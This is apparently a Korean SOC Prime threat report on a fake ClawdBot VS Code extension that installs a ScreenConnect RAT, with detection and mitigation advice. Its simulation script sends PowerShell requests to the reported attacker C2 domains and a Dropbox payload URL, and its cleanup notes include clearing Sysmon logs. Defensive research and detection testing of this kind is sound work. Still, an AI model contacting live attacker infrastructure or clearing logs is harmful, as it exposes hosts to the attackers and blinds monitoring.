SOC Prime Bias: 심각

28 Jan 2026 09:58 UTC

가짜 ClowdBot VS Code 확장 기능이 ScreenConnect RAT을(를) 드롭합니다

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
가짜 ClowdBot VS Code 확장 기능이 ScreenConnect RAT을(를) 드롭합니다
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

악성 Visual Studio Code 확장 프로그램인 ClawdBot Agent 는 AI 코딩 도우미로 위장하고 있지만, VS Code가 실행될 때 Windows에 무기화된 ScreenConnect 원격 액세스 도구를 은밀하게 설치합니다. 시작 시 확장 프로그램은 공격자 제어 도메인에서 구성 파일을 가져온 후, 가짜 VS Code 바이너리(Code.exe)와 지원 DLL을 다운로드하고 실행합니다. 추가 전송 경로로 Dropbox 링크에서 동일한 설치 프로그램을 가져와 페이로드의 가용성을 유지할 수 있습니다. 이 캠페인은 신뢰받는 IT 지원 도구를 남용하여 합법적인 원격 관리 활동으로 위장하고 의심을 줄입니다.

조사

연구자들은 확장 프로그램의 package.json을 획득하고, VS Code 시작 시 활성화를 확인했으며, 악성 구성 요소를 열거하는 원격 JSON 구성을 검색했습니다. 바이너리 분석을 통해 맞춤 중계 서버로 신호를 보내는 서명된 ScreenConnect 모듈을 발견했습니다. JavaScript와 PowerShell에서 추가 예비 논리를 발견했으며, 2차 도메인과 Dropbox에 호스팅된 페이로드를 참조했습니다. 디스크 상 아티팩트가 %TEMP%Lightshot 폴더에 관찰되었습니다.

완화

VS Code에서 ClawdBot Agent 확장을 제거하고 ScreenConnect 설치 위치 및 %TEMP%Lightshot 디렉토리에 남아있는 파일을 삭제하십시오. ScreenConnect 클라이언트 서비스를 제거하고 식별된 중계 도메인 및 IP에 대한 아웃바운드 연결을 차단하십시오. 확장 프로그램에 입력했을 수 있는 API 키나 비밀을 변경하십시오.

대응

VS Code 확장 설치와 Lightshot 디렉토리 생성 모니터링으로 악성 확장을 탐지하십시오. 비표준 경로에서 Code.exe 또는 ScreenConnect 바이너리 실행과 meeting.bulletmailer.net:8041 또는 연관된 IP 주소에 대한 아웃바운드 연결에 알림을 설정하십시오. 호스트 포렌식을 수행하여 지속성 제거를 확인하고 추가 페이로드를 식별하십시오.

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 베이스라인 사전 비행 점검이 통과해야 합니다.

공격 서사 및 명령어

  1. 공격자가 트로이 목마화된 VS Code 확장 프로그램을 게시합니다 “Clawdbot Helper”라는 제목으로.
  2. 피해자가 확장 프로그램을 설치합니다 VS Code 마켓플레이스를 통해, 이는 설치 후 스크립트를 실행하여 ScreenConnect 클라이언트 (ScreenConnect.Client.exe)를 %APPDATA%ScreenConnect.
  3. 에 조용히 드롭합니다, 설치 직후 클라이언트는 공격자가 제어하는 C2 도메인으로 3개의 아웃바운드 TCP 연결을 초기화하여 추가 페이로드를 검색하고 호스트 상태를 보고합니다.
  4. 아웃바운드 연결은 Sysmon Event ID 3 레코드를 생성하여 목적 IP 목록과 일치하여 탐지 규칙을 만족합니다.

회귀 테스트 스크립트

# --------------------------------------------------------------
# 시뮬레이션된 악성 VS Code 확장 프로그램 설치 후 루틴
# --------------------------------------------------------------

# Step 1 – 더미 ScreenConnect 바이너리 드롭하기 (시뮬레이션)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# 무해한 자리 표시자 바이너리 생성 (예: notepad.exe 복사본)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Step 2 – 각 C2 호스트로 아웃바운드 연결 실행
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # 무소음 웹 요청; -UseBasicParsing는 UI 프롬프트를 방지합니다
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacted $url"
    } catch {
        Write-Host "Failed to contact $url (expected in a sandbox)."
    }
}

# 스크립트 종료 – 이 시점에서 Sysmon은 세 개의
# NetworkConnect 이벤트를 기록해야 하며, DestinationIp 값이 규칙과 일치합니다.

정리 명령어

# --------------------------------------------------------------
# 시뮬레이션된 아티팩트 제거
# --------------------------------------------------------------

# 남아 있는 PowerShell 작업 중지(이 간단한 스크립트에는 없음)
Get-Job | Remove-Job -Force

# 더미 ScreenConnect 클라이언트 폴더 삭제
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# 선택적으로 Sysmon 버퍼 지우기 (관리자 필요)
# sysmon -c